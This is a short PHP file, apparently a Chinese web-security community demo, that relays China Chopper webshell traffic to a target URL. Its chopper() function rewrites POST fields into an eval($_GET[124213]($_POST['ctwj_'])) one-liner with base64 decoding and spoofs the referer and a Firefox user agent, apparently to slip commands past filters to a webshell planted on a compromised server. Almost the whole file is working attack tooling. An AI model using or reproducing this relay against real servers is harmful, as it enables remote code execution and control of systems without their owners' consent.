<?php
/**
 * 此题无解 中转输入脚本 demo版
 *
 * @category   额外的提交方式函数
 * @author  	此题无解
 * 跟多Web安全交流 Q群：260044099
 */

/**
 * [chopper 中转菜刀一句话]
 * @param  [type] $config [配置项]
 * @return [type]      [直接显示结果]
 */
function chopper($config){
	$url = $config['url'];
    if (strpos($url,'?') === false) $murl = $url.'?124213=base64_decode';
    else $murl = $url.'&124213=base64_decode';
	foreach ($_POST as $key => $value) {
		if ($key == 'z0'){
			$post['ctwj_'] = $value;
		} else {
			if (strpos($value,'base64_decode')){
				$post[$key] = 'eval($_GET[124213]($_POST[\'ctwj_\']));';
			} else {
				$post[$key] = $value;
			}
		}
	}
    $ch = curl_init($murl);
	curl_setopt($ch, CURLOPT_REFERER, $url); //REFER
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
	if (isset($post)) {
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
	}
    curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0');
    $output = curl_exec($ch);
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 0) echo curl_error($ch);
    curl_close($ch);
    echo $output;
}



?>